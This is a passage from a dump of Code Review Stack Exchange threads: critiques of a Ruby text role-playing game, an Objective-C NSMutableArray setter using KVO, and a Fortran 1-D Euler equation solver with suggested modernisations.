config[:level]\n @equipment = {:armor => nil, :weapon => nil}\n @armor = 0\n @weapon = 0\n #3.times rand(7) or 3*rand(7) doesn't create the effect, I tried rand(16)+3 but didn't like it.\n @strength = rand(7) + rand(7) + rand(7)\n @condition = rand(7) + rand(7) + rand(7)\n @life = @level * (rand(8) + 1)\n @power = @strength * (rand(4) + 1)\n @regen = @condition\n end\n\n def introduce_self()\n puts \"You wear \" + (@equipment[:armor] || \"no armor!\")\n puts \"You carry \" + (@equipment[:weapon] || \"no no weapon!\")\n end \n\n def wear_armor(armor) \n @armor = armor.power\n @equipment[:armor] = armor.name\n end\n\n def wear_weapon(weapon)\n @weapon = weapon.power\n @equipment[:weapon] = weapon.name\n end\n\n def attack(defender) \n [@power + @weapon - defender.armor, 0].max\n end\n\n def defend(attack)\n @life -= attack\n end\n\n def regen\n @life += @regen\n @regen\n end\n\n def is_alive?\n @life > 0\n end \nend\n\nclass Weapon\n attr_reader :name, :power\n def initialize(setup)\n @name = setup[:name]\n @power = setup[:power] end\nend\n\nclass Armor\n attr_reader :name, :power\n def initialize(setup)\n @name = setup[:name]\n @power = setup[:power]\n end\nend\n\ngame = Game.new()\ngame.play()\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T13:44:16.370",
"Id": "16427",
"Score": "0",
"body": "Good refactoring! Just one thing, you may want to change some of the methods that take on array to taking two arguments or a `*` (splat) argument."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:17:25.590",
"Id": "16429",
"Score": "0",
"body": "I am examining your code with great pleasure. So I have 2 questions: 1) I see 99.9% of code in the classes and just 'game = Game.new().play()' to start the game. It's just like clicking start button on a web page. Is this the proper/preferred way to use classes? I mean, weapons, armors and monsters could be separate hashes outside classes, just before the 'game = ' part. 2) I'm a newbie and working on [Zed Shaw's tutorial, exercise 43](http://ruby.learncodethehardway.org/book/ex43.html). Could you mind to tell me if the complexity of this game is appropriate to the level of the exercise?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:38:59.387",
"Id": "16431",
"Score": "0",
"body": "@Linux_iOS.rb.cpp.c.lisp.m.sh you are right, habits from Javascript :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:47:17.083",
"Id": "16434",
"Score": "0",
"body": "@barerd I did not wanted to change your logic but only the \"ruby\" part. I could do the same without any classes. The usage of classes in my example is not really something you would like to have. The code outside is just \"entry-point\"."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:51:29.167",
"Id": "16436",
"Score": "0",
"body": "@barerd There are many things that you can do. For example instead of using hashes to setup the world; you can create separate classes for each equipment to give them different behaviours. (i.e: you can add a blade that can attack twice or a mice that will lower to regen; or a special armor that will hurt the attacker on random chance) You would put these classes in separate folders (./armors, ./weapons, ./scenes) and require and create in the game (runner class). I guess you are building something bigger than the author asked for. It is always hard to manage the interactions in the games."
}
],
"meta_data": {
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T11:51:03.307",
"Id": "10317",
"ParentId": "10312",
"Score": "3"
}
},
{
"body": "<p>Also, in addition to the other two answers, you should never use instance variables to store static content (such as the stats of a short sword). Not only does it imply that the static data (<code>Weapon.new(\"Short Sword\", 5)</code>) will change between objects (I doubt that the starting stats of a weapon will change between objects). In addition to this, reinitializing the <code>Weapon</code> object is a wast of reassures to do every time.</p>\n\n<p>Instead of instance varibles named after each weapon, here is one soulution:</p>\n\n<pre><code>@@weapon={ss: Weapon.new(\"Short Sword\", 5), ls: Weapon.new(\"Longsword\", 10), etc...}\n</code></pre>\n\n<hr>\n\n<p>Also, on lines 7 and 6, you are passing <code>nil</code> for every parameter starting with <code>@</code>. No instance variables have been declared yet, and Ruby gives <code>nil</code> as the value of initialized instance, class, and global variables. You must put that initialization after the instance variables are declared if you want any value other than <code>nil</code> (and if you want <code>nil</code>, just use the litteral).</p>\n\n<hr>\n\n<p>Also, there is a slight matter of Ruby form here: When a method takes no arguments, omit the parenthesis unless it is an issue of ambiguity between names.</p>\n\n<hr>\n\n<p>In the <code>selection</code> method, you should put the <code>gets.chomp</code> in the method and return it. A method that prints the prompt but doesn't read the data is not worth having.</p>\n\n<hr>\n\n<p>In that battle method, don't throw an <code>ArgumentError</code>. The battle ending is no reason to think that the arguments are wrong. Instead, make your own error class:</p>\n\n<pre><code>class BattleOverException < StandardError; end\n</code></pre>\n\n<p>And throw it:</p>\n\n<pre><code>raise BattleOverException, \"The battle is over!!\"\n</code></pre>\n\n<p>Although this works, exceptions should be used for the comunication of an error at the file level (integer passed, expecting float, file not there, wrong number of arguments, etc.), not user problems (entered number expecting string, etc.). If you are using exceptions to exit the method, just use <code>return</code>. If you are trying to terminate the program, use puts for a message and use <code>exit</code>. And if you want to signal some condition to the calling code that isn't an error, take a look at <code>[catch][1]</code> and <code>[throw][2]</code>.</p>\n\n<hr>\n\n<p><code>round_result</code> should not exist. There is no reason to factor out some simple printing to a method called once. The code is not complex enough to be its own method or enough of its own concept.</p>\n\n<hr>\n\n<p>As for your problem of class communication, you can boil it down to this: Give the <code>Game</code> class the methods that the <code>Scene</code> class must use to interact with it. Continue passing <code>self</code> to the <code>Scene</code> constructor. Also, in the future, you may want to consider one manager class that manages all of the data, or a more decoupled class design. I recommend the second.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:37:08.857",
"Id": "16430",
"Score": "0",
"body": "Thank you for these nice points. As I mentioned to @CanHanhan, I am a newbie and a physician. So I'm not going to write professional games. My interest in ruby stems from my efforts to organize patient/research data into mysql db, and rails made it very easy to create/use them. I just want to improve my grasp on the language, so that I can get rid of stealing from other people's code. So is there any document about decoupling classes you can suggest to me, which is simpler than [this one](http://www.objectarchitects.de/arcus/cookbook/decoupling/index.htm)?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:45:45.403",
"Id": "16433",
"Score": "0",
"body": "I don't have one at my disposal at this moment (I should write one on my blog), but all I mean is that you should make your classes individual units: One class should not be controlling the object that created it, but objects should form a hierarchy."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T16:14:14.150",
"Id": "16440",
"Score": "0",
"body": "Okay, I'll be watching your blog. I'm using gedit by the way and after I read your blog about it, I am going to add a ruby console to it."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T20:22:03.847",
"Id": "16445",
"Score": "0",
"body": "I read [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/html/tut_classes.html). And saw there: \"..the only way to change an object's state in Ruby is by calling one of its methods. Control access to the methods and you've controlled access to the object. A good rule of thumb is never to expose methods that could leave an object in an invalid state.\" This made me think that in order to eliminate coupling, all methods capable to modify an object's attributes, must only be put into that object's class, and not into any other class. Is that what you mean?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T00:27:21.193",
"Id": "16453",
"Score": "0",
"body": "True. But the main thing is two make it so that somewhat unrelated classes (maybe you want to use class `Scene` in another game) can be moved and used without the other. It is more about making things more general. (Post is almost done)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T01:47:19.690",
"Id": "16454",
"Score": "0",
"body": "@barerd: I have written the post. It should be on the first page of my blog (which you have obviously found through my profile)."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-26T19:43:55.170",
"Id": "16510",
"Score": "0",
"body": "Hi, I read your post. At first, the last two solutions sounded too professional (meaning hard to get) to me but now I see the point of solution 3. I commented with my google account (DrGroovy) there. And yes, I found your blog through your profile."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T14:02:30.497",
"Id": "10320",
"ParentId": "10312",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10317",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T00:25:14.317",
"Id": "10312",
"Score": "4",
"Tags": [
"object-oriented",
"ruby",
"role-playing-game"
],
"Title": "Communication between two classes in ruby"
}
|
10312
|
<p>This behaves to an outside observer mostly like <code>@property (copy)</code>, except it has the very nice property of automatically performing any side effects that may exist in <code>remove<Key>AtIndexes:</code> and <code>insert<Key>:atIndexes:</code>. If I'm going to have such side effects, this seems really handy (DRY!)--is there anything wrong with this strange-looking accessor method?</p>
<pre><code>- (void)setEdges:(NSArray *)newEdges
{
if (newEdges != edges)
{
[self removeEdgesAtIndexes:[NSIndexSet indexSetWithIndexesInRange:NSMakeRange(0, [edges count])]];
[edges release];
edges = nil;
if (newEdges)
{
edges = [NSMutableArray new];
[self insertEdges:newEdges atIndexes:[NSIndexSet indexSetWithIndexesInRange:NSMakeRange(0, [newEdges count])]];
}
}
}
</code></pre>
|
[] |
[
{
"body": "<p>[NSIndexSet indexSetWithIndexesInRange:] leaks itself. it creates NSIndexPath object, and leaks by 16 bytes per call.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-05-02T16:48:33.607",
"Id": "18297",
"Score": "0",
"body": "How do you come to this conclusion?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-11T10:27:21.627",
"Id": "10779",
"ParentId": "10321",
"Score": "1"
}
},
{
"body": "<p>You should add <code>edges = nil;</code> either after <code>[edges release];</code> or as the <code>else</code> clause. Otherwise passing a <code>nil</code> argument will make <code>edges</code> a dangling pointer to a released object.</p>\n\n<p>Other than that, I don't see any issues with this implementation.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-13T10:19:15.537",
"Id": "10853",
"ParentId": "10321",
"Score": "2"
}
},
{
"body": "<p>It seems kind of bizarre. You could just do:</p>\n\n<pre><code>- (void)setEdges:(NSArray *)newEdges\n{\n if (newEdges != edges)\n {\n [edges release];\n [edges = [newEdges mutableCopy];\n }\n}\n</code></pre>\n\n<p>Or if you want to keep some side effects.</p>\n\n<pre><code>- (void)setEdges:(NSArray *)newEdges\n{\n if (newEdges != edges)\n {\n [self removeEdgesAtIndexes:[NSIndexSet indexSetWithIndexesInRange:NSMakeRange(0, [edges count])]];\n [self insertEdges:newEdges \n atIndexes:[NSIndexSet \n indexSetWithIndexesInRange:NSMakeRange(0, [newEdges count])]];\n }\n}\n</code></pre>\n\n<p>That saves an release/alloc pair. </p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-17T04:41:12.543",
"Id": "17393",
"Score": "0",
"body": "Except that won't perform any side effects I may have in `remove<Key>AtIndexes:` and `insert<Key>:atIndexes:`--I'd have to repeat that code inside the accessor."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-17T09:10:37.347",
"Id": "17398",
"Score": "0",
"body": "@andyvn22: added an alternative."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-17T13:42:41.640",
"Id": "17410",
"Score": "0",
"body": "What if `newEdges` is `nil`?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-17T14:07:52.093",
"Id": "17412",
"Score": "0",
"body": "@andyvn22: ok, so you need a test for that eventuality."
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-16T16:05:44.540",
"Id": "10927",
"ParentId": "10321",
"Score": "0"
}
},
{
"body": "<p>It turns out that this doesn't even achieve what I set out to do: by calling those KVO-compliant methods within a KVO-compliant method, I actually generate multiple notifications and the system turns out even less helpful than a standard accessor.</p>\n\n<p>I settled on this verbose but effective method:</p>\n\n<pre><code>@synthesize edges;\n- (void)setEdges:(NSArray *)newEdges\n{\n if (newEdges != edges)\n {\n [self willRemoveEdgesAtIndexes:[NSIndexSet indexSetWithIndexesInRange:NSMakeRange(0,[edges count])]];\n [self willInsertEdges:newEdges atIndexes:[NSIndexSet indexSetWithIndexesInRange:NSMakeRange(0,[newEdges count])]];\n [edges release];\n edges = [newEdges mutableCopy];\n }\n}\n\n- (void)removeEdgesAtIndexes:(NSIndexSet*)indexSet\n{\n [self willRemoveEdgesAtIndexes:indexSet];\n [edges removeObjectsAtIndexes:indexSet];\n}\n\n- (void)insertEdges:(NSArray*)newEdges atIndexes:(NSIndexSet*)indexSet\n{\n [self willInsertEdges:newEdges atIndexes:indexSet];\n [edges insertObjects:newEdges atIndexes:indexSet];\n}\n\n- (void)willRemoveEdgesAtIndexes:(NSIndexSet*)indexSet\n{\n //My side effects here\n}\n\n- (void)willInsertEdges:(NSArray*)newEdges atIndexes:(NSIndexSet*)indexSet\n{\n //My side effects here\n}\n</code></pre>\n\n<p>With some clever use of <code>respondsToSelector:</code> and <code>performSelector:</code>, you can even replace most of this code with a single-line preprocessor macro that automatically synthesizes all three accessors and calls your side effect methods iff you implemented them.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-26T01:59:04.137",
"Id": "11185",
"ParentId": "10321",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "11185",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-03-25T16:56:19.093",
"Id": "10321",
"Score": "2",
"Tags": [
"objective-c",
"cocoa",
"properties"
],
"Title": "Is there anything wrong with this unusual NSMutableArray setter?"
}
|
10321
|
<p>As a little helper I recently had to write a code that solves the 1-D Euler equations. As it serves my purpose well I though others could make use of it as well. The homepage of the code can be found <a href="http://sci.amconception.de/index.php?nav=gees" rel="nofollow">here</a>, including a download containing the Makefile.</p>
<p>This version of the code is in <a href="https://github.com/Azrael3000/gees/commit/53a04de0eb37532bbef450dc361711b3b9717d55" rel="nofollow">this Github repository</a>.</p>
<p><strong>File gees.f90:</strong></p>
<pre><code>program gees
use mod_fluxcalc
implicit none
real(8), dimension(:),allocatable :: p,v
real(8), dimension(:,:), allocatable :: u,f, utild, uold
real(8) :: temps, dt, tend, dx, odt, pi, c0
integer :: i, nt, it, nx, io, lout
character(len=13) :: fname
write(*,*) 'Welcome to GEES'
write(*,*) 'your friendly GPL Euler Equation solver'
write(*,*) 'written 2012 by Arno Mayrhofer (www.amconception.de)'
write(*,*)
write(*,*) 'Number of grid points:'
read(*,*) nx
write(*,*) nx
write(*,*) 'End time:'
read(*,*) tend
write(*,*) tend
write(*,*) 'Time-step size'
read(*,*) dt
write(*,*) dt
write(*,*) 'Output dt:'
read(*,*) odt
write(*,*) odt
write(*,*) 'Speed of sound:'
read(*,*) c0
write(*,*) c0
! number of time-steps
nt = int(tend/dt+1d-14)
! grid size
dx = 1D0/real(nx,8)
pi = acos(-1d0)
! list ouput index
lout = 1
allocate(p(-1:nx+1),v(-1:nx+1),f(nx,2),u(-1:nx+1,2), &
utild(-1:nx+1,2), uold(-1:nx+1,2))
! init
do i=1,nx-1
u(i,1) = 1d3+cos(2*pi*real(i,8)/real(nx,8))*10d0 !rho
u(i,2) = 0d0 !u(i,1)*0.1d0*sin(2*pi*real(i,8)/real(nx,8)) !rho*v
enddo
! set p,v from u and calcuate boundary values at bdry and ghost cells
call bcs(u,p,v,nx,c0)
! file output index
io = 0
! simulation time
temps = 0d0
! output
write(fname,'(i5.5,a8)') io,'.out.csv'
open(file=fname,unit=800)
write(800,*) 'xpos,p,rho,v'
do i=-1,nx+1
write(800,'(4(a1,e20.10))') ' ', real(i,8)/real(nx,8),',', p(i),',', u(i,1),',', v(i)
enddo
close(800)
io = io+1
! loop over all timesteps
do it=1,nt
! list output
if(real(nt*lout)*0.1d0.lt.real(it))then
write(*,*) 'Calculated ', int(real(lout)*10.), '%'
lout = lout + 1
endif
temps = temps + dt
uold = u
! First Runge-Kutta step
! calculate flux at mid points using u
call fluxcalc(u,v,f,nx,c0)
do i=1,nx-1
! calc k1 = -dt/dx(f(u,i+1/2) - f(u,i-1/2))
utild(i,:) = -dt/dx*(f(i+1,:)-f(i,:))
! u^n = uold^n + 1/6 k1
u(i,:) = uold(i,:) + utild(i,:)/6d0
! utild = uold^n + 1/2 k_1
utild(i,:) = uold(i,:) + utild(i,:)*0.5d0
enddo
! calculate p,v + bcs for uold + 1/2 k1 = utild
call bcs(utild,p,v,nx,c0)
! Second Runge-Kutta step
! calculate flux at mid points using utild
call fluxcalc(utild,v,f,nx,c0)
do i=1,nx-1
! calc k2 = -dt/dx(f(utild,i+1/2) - f(utild,i-1/2))
utild(i,:) = -dt/dx*(f(i+1,:)-f(i,:))
! u^n = u^n + 1/6 k2
u(i,:) = u(i,:) + utild(i,:)/6d0
! utild = uold^n + 1/2 k_2
utild(i,:) = uold(i,:) + utild(i,:)*0.5d0
enddo
! calculate p,v + bcs for uold + 1/2 k2 = utild
call bcs(utild,p,v,nx,c0)
! Third Runge-Kutta step
! calculate flux at mid points using utild
call fluxcalc(utild,v,f,nx,c0)
do i=1,nx-1
! calc k3 = -dt/dx(f(utild,i+1/2) - f(utild,i-1/2))
utild(i,:) = -dt/dx*(f(i+1,:)-f(i,:))
! u^n = u^n + 1/6 k3
u(i,:) = u(i,:) + utild(i,:)/6d0
! utild = uold^n + k_3
utild(i,:) = uold(i,:) + utild(i,:)
enddo
! calculate p,v + bcs for uold + k3 = utild
call bcs(utild,p,v,nx,c0)
! Fourth Runge-Kutta step
! calculate flux at mid points using utild
call fluxcalc(utild,v,f,nx,c0)
do i=1,nx-1
! calc k4 = -dt/dx(f(utild,i+1/2) - f(utild,i-1/2))
utild(i,:) = -dt/dx*(f(i+1,:)-f(i,:))
! u^n = u^n + 1/6 k4
u(i,:) = u(i,:) + utild(i,:)/6d0
enddo
! calculate p,v + bcs for (uold + k1 + k2 + k3 + k4)/6 = u
call bcs(u,p,v,nx,c0)
! output
if(abs(temps-odt*real(io,8)).lt.abs(temps+dt-odt*real(io,8)).or.it.eq.nt)then
write(fname,'(i5.5,a8)') io,'.out.csv'
open(file=fname,unit=800)
write(800,*) 'xpos,p,rho,v'
do i=-1,nx+1
write(800,'(4(a1,e20.10))') ' ', real(i,8)/real(nx,8),',', p(i),',', u(i,1),',', v(i)
enddo
close(800)
io = io + 1
endif
enddo
end program gees
</code></pre>
<p><strong>fluxcalc.f90:</strong></p>
<pre><code>module mod_fluxcalc
contains
subroutine fluxcalc(u, v, f, nx, c0)
implicit none
integer, intent(in) :: nx
real(8), dimension(-1:nx+1), intent(inout) :: v
real(8), dimension(-1:nx+1,2), intent(inout) :: u
real(8), dimension(nx,2), intent(inout) :: f
real(8), intent(in) :: c0
integer :: i, j
real(8), dimension(2) :: ur, ul
real(8) :: a, pl, pr, nom, denom, ri, rim1
real(8), dimension(4) :: lam
! calculate flux at midpoints, f(i) = f_{i-1/2}
do i=1,nx
do j=1,2
! calculate r_{i} = \frac{u_i-u_{i-1}}{u_{i+1}-u_i}
nom = (u(i ,j)-u(i-1,j))
denom = (u(i+1,j)-u(i ,j))
! make sure division by 0 does not happen
if(abs(nom).lt.1d-14)then ! nom = 0
nom = 0d0
denom = 1d0
elseif(nom.gt.1d-14.and.abs(denom).lt.1d-14)then ! nom > 0 => r = \inf
nom = 1d14
denom = 1d0
elseif(nom.lt.-1d-14.and.abs(denom).lt.1d-14)then ! nom < 0 => r = 0
nom = -1d14
denom = 1d0
endif
ri = nom/denom
! calculate r_{i-1} = \frac{u_{i-1}-u_{i-2}}{u_i-u_{i-1}}
nom = (u(i-1,j)-u(i-2,j))
denom = (u(i ,j)-u(i-1,j))
! make sure division by 0 does not happen
if(abs(nom).lt.1d-14)then
nom = 0d0
denom = 1d0
elseif(nom.gt.1d-14.and.abs(denom).lt.1d-14)then
nom = 1d14
denom = 1d0
elseif(nom.lt.-1d-14.and.abs(denom).lt.1d-14)then
nom = -1d14
denom = 1d0
endif
rim1 = nom/denom
! u^l_{i-1/2} = u_{i-1} + 0.5*phi(r_{i-1})*(u_i-u_{i-1})
ul(j) = u(i-1,j)+0.5d0*phi(rim1)*(u(i ,j)-u(i-1,j))
! u^r_{i-1/2} = u_i + 0.5*phi(r_i)*(u_{i+1}-u_i)
ur(j) = u(i,j) -0.5d0*phi(ri )*(u(i+1,j)-u(i ,j))
enddo
! calculate eigenvalues of \frac{\partial F}{\parial u} at u_{i-1}
lam(1) = ev(v,u,c0,i-1, 1d0,nx)
lam(2) = ev(v,u,c0,i-1,-1d0,nx)
! calculate eigenvalues of \frac{\partial F}{\parial u} at u_i
lam(3) = ev(v,u,c0,i , 1d0,nx)
lam(4) = ev(v,u,c0,i ,-1d0,nx)
! max spectral radius (= max eigenvalue of dF/du) of flux Jacobians (u_i, u_{i-1})
a = maxval(abs(lam),dim=1)
! calculate pressure via equation of state:
! p = \frac{rho_0 c0^2}{xi}*((\frac{\rho}{\rho_0})^xi-1), (xi=7, rho_0=1d3)
pr = 1d3*c0**2/7d0*((ur(1)/1d3)**7d0-1d0)
pl = 1d3*c0**2/7d0*((ul(1)/1d3)**7d0-1d0)
! calculate flux based on the Kurganov and Tadmor central scheme
! F_{i-1/2} = 0.5*(F(u^r_{i-1/2})+F(u^l_{i-1/2}) - a*(u^r_{i-1/2} - u^l_{i-1/2}))
! F_1 = rho * v = u_2
f(i,1) = 0.5d0*(ur(2)+ul(2)-a*(ur(1)-ul(1)))
! F_2 = p + rho * v**2 = p + \frac{u_2**2}{u_1}
f(i,2) = 0.5d0*(pr+ur(2)**2/ur(1)+pl+ul(2)**2/ul(1)-a*(ur(2)-ul(2)))
enddo
end subroutine
! flux limiter
real(8) function phi(r)
implicit none
real(8), intent(in) :: r
phi = 0d0
! ospre flux limiter phi(r) = \frac{1.5*(r^2+r)}{r^2+r+1}
if(r.gt.0d0)then
phi = 1.5d0*(r**2+r)/(r**2+r+1d0)
endif
! van leer
! phi = (r+abs(r))/(1d0+abs(r))
end function
! eigenvalue calc
real(8) function ev(v,u,c0,i,sgn,nx)
implicit none
real(8), dimension(-1:nx+1), intent(inout) :: v
real(8), dimension(-1:nx+1,2), intent(inout) :: u
integer, intent(in) :: i, nx
real(8), intent(in) :: sgn, c0
! calculate root of characteristic equation
! \lambda = 0.5*(3*v \pm sqrt{5v^2+4c0^2(\frac{\rho}{\rho_0})^{xi-1}})
ev = 0.5d0*(3d0*v(i)+sgn*sqrt(5d0*v(i)**2+4d0*c0**2*(u(i,1)/1d3)**6))
return
end function
subroutine bcs(u,p,v,nx,c0)
implicit none
integer, intent(in) :: nx
real(8), intent(in) :: c0
real(8), dimension(-1:nx+1), intent(inout) :: p,v
real(8), dimension(-1:nx+1,2), intent(inout) :: u
integer :: i
! calculate velocity and pressure
do i=1,nx-1
! v = u_2 / u_1
v(i) = u(i,2)/u(i,1)
! p = \frac{rho_0 c0^2}{xi}*((\frac{\rho}{\rho_0})^xi-1), (xi=7, rho_0=1d3)
p(i) = 1d3*c0**2/7d0*((u(i,1)/1d3)**7d0-1d0)
enddo
! calculate boundary conditions
! note: for periodic boundary conditions set
! f(0) = f(nx-1), f(-1) = f(nx-2), f(nx) = f(1), f(nx+1) = f(2) \forall f
! for rho: d\rho/dn = 0 using second order extrapolation
u(0,1) = (4d0*u(1,1)-u(2,1))/3d0
u(-1,1) = u(1,1)
u(nx,1) = (4d0*u(nx-1,1)-u(nx-2,1))/3d0
u(nx+1,1) = u(nx-1,1)
! for p: dp/dn = 0 (thus can use EOS)
p(0) = 1d3*c0**2/7d0*((u(0,1)/1d3)**7d0-1d0)
p(-1) = 1d3*c0**2/7d0*((u(-1,1)/1d3)**7d0-1d0)
p(nx) = 1d3*c0**2/7d0*((u(nx,1)/1d3)**7d0-1d0)
p(nx+1) = 1d3*c0**2/7d0*((u(nx+1,1)/1d3)**7d0-1d0)
! for v: v = 0 using second order extrapolation
v(0) = 0d0
v(-1) = v(2)-3d0*v(1)
v(nx) = 0d0
v(nx+1) = v(nx-2)-3d0*v(nx-1)
! for rho*v
u(0,2) = u(0,1)*v(0)
u(-1,2) = u(-1,1)*v(-1)
u(nx,2) = u(nx,1)*v(nx)
u(nx+1,2) = u(nx+1,1)*v(nx+1)
end subroutine
end module
</code></pre>
<p>The code is covered in comments as it should allow the beginner to understand the inner workings fairly easily. If you have any comments on what could be done differently let me know. I hope this code is bug free, but in case there is still one in the hiding tell me and I'll fix it.</p>
<blockquote>
<pre class="lang-none prettyprint-override"><code>Implementation details:
Time-stepping: 4th order explicit Runge Kutta
Flux calculation: MUSCL scheme (Kurganov and Tadmor central scheme)
Flux limiter: Ospre
Boundary conditions: Second order polynomial extrapolation
Equation of state: Tait
</code></pre>
</blockquote>
|
[] |
[
{
"body": "<p>A few points I'd do different:</p>\n\n<ul>\n<li>use the name of the procedures/modules also in their end statement</li>\n<li>not writing enddo and endif in a single word, but seperately. There are newer language constructs, where writing them together is not allowed, and separating them all is more consistent</li>\n<li>as mentioned in a comment above, use selected_real_kind instead of a hardwired 8</li>\n<li>use >,<, == instead of .gt., .lt. and .eq.</li>\n<li>provide some explanation on routines arguments and the purpose of each routine</li>\n<li>indent module routines</li>\n<li>use spaces around the condition of if-clauses</li>\n<li>use the private statement in the module and explicitly mark visible entities with the public keyword</li>\n<li>turn the initialization and the time loop into subroutines each</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-02-04T01:33:13.870",
"Id": "143942",
"Score": "0",
"body": "Thank you for your comments. I recently got some feedback via email and hope to incorporate also your suggestions. The code is now on github so if you want to contribute feel free to send pull requests."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2015-02-04T02:07:35.233",
"Id": "143945",
"Score": "0",
"body": "Referenced your comment here: https://github.com/Azrael3000/gees/issues/1 and already made some progress"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-10-12T08:28:57.853",
"Id": "66397",
"ParentId": "10326",
"Score": "4"
}
},
{
"body": "<ol>\n<li>Isolate chunks of code that are independent from the rest in separate functions.</li>\n<li><span class=\"math-container\">\\$\\pi\\$</span> is a constant that should be declared as a parameter, where it can be initialized with a call to <code>acos</code>.</li>\n<li>Use more descriptive self-documenting names for your variables</li>\n<li>Do not use explicit numbers for i/o units. Use "newunit" instead</li>\n<li>dble(n) is less cluttery than real(n,8)</li>\n<li>Avoid magic numbers (e.g., "0.1": what's that?)</li>\n<li>Reduce the lifespan of variables across the code</li>\n<li>Do not repeat code</li>\n<li>Use defensive programming against invalid input</li>\n</ol>\n<p>I rewrote the main following most of these criteria, except for the name of some variables, which is not clear from the context what they exactly are. Such variables are apparently fundamental but have names a single-character long (<code>u, v, p, ...</code>), which is far from ideal. As a result of this treatment, the complexity of the code is drastically reduced. Among the other things, the Runge-Kutta propagator could be collapsed to a single step in a loop, instead of being repeated four times, with minimal variations that are easily reproduced by appropriate initialization and exit conditions.</p>\n<p>For folks not familiar with the simple syntax of modern Fortran, I suggest <a href=\"https://fortran-lang.org/learn/quickstart\" rel=\"nofollow noreferrer\">quick modern Fortran tutorial</a>.</p>\n<pre class=\"lang-fortran prettyprint-override\"><code>module mod_constants\n real(kind(1d0)), parameter :: PI = acos(-1.d0)\nend module mod_constants\n\nprogram gees\n use, intrinsic :: iso_fortran_env, only : OUTPUT_UNIT\n use mod_fluxcalc\n use mod_constants\n implicit none\n integer , parameter :: N_OUTPUT_LISTINGS = 10\n real(kind(1d0)), dimension(:) , allocatable :: p, v\n real(kind(1d0)), dimension(:,:), allocatable :: u, f\n real(kind(1d0)) :: Time, TimeStep, GridStepSize, SaveTimeInterval, SoundSpeed, DiscretizationSpeed\n integer :: nTimeSteps, iTime, nGridPoints, SaveTimeIterations, ListProgressIterations\n logical :: IsLastIteration, TimeToSave, ListProgress\n \n call PrintCredits()\n call FetchParameters( nGridPoints, nTimeSteps, TimeStep, SaveTimeInterval, SoundSpeed)\n \n GridStepSize = 1.d0 / dble( nGridPoints )\n DiscretizationSpeed = GridStepSize / TimeStep\n SaveTimeIterations = max( nint( SaveTimeInterval / TimeStep ), 1 )\n ListProgressIterations = max( nTimeSteps / N_OUTPUT_LISTINGS, 1 )\n \n allocate(p(-1:nGridPoints+1))\n allocate(v,source=p)\n allocate(f(nGridPoints,2))\n allocate(u(-1:nGridPoints+1,2))\n\n call SetInitialConditions( u, nGridPoints )\n\n ! set p,v from u and calcuate boundary values at bdry and ghost cells\n call bcs ( u, p, v, nGridPoints, SoundSpeed )\n call SaveResults( u, p, v, nGridPoints )\n \n Time = 0.d0\n do iTime = 1, nTimeSteps\n Time = Time + TimeStep\n call RungeKuttaStepper( u, v, f, nGridPoints, SoundSpeed, DiscretizationSpeed )\n IsLastIteration = iTime == nTimeSteps\n TimeToSave = mod( iTime, SaveTimeIterations ) == 0 \n if( TimeToSave .or. IsLastIteration ) call SaveResults( u, p, v, nGridPoints )\n ListProgress = mod( iTime, ListProgressIterations ) == 0 \n if( ListProgress ) write(OUTPUT_UNIT,"(a,i0,a)") ' Calculated ',Percentage(iTime,nTimeSteps),"%"\n enddo\n\ncontains\n\n pure integer function Percentage(i,n) result(iRes)\n integer, intent(in) :: i, n\n iRes = int(dble(i)/dble(n)*100.d0)\n end function Percentage\n \n subroutine PrintCredits()\n use, intrinsic :: iso_fortran_env, only : OUTPUT_UNIT\n character(len=*), parameter :: FMT="(a)"\n write(OUTPUT_UNIT,FMT) ' Welcome to GEES'\n write(OUTPUT_UNIT,FMT) ' your friendly GPL Euler Equation solver'\n write(OUTPUT_UNIT,FMT) ' written 2012 by Arno Mayrhofer (www.amconception.de)'\n write(OUTPUT_UNIT,*)\n end subroutine PrintCredits\n\n subroutine 